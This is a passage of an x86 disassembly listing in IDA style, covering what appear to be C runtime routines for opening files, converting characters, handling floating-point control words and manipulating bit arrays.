loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 27107C1h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 26206E4h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 26608D5h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		nop
		call	near ptr 2680972h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2610075h
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		nop
		call	near ptr 261081Dh
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 261081Dh
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 26F0000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 26F0000h
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610075h
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		nop
		call	near ptr 2811010h
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 26F0000h
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
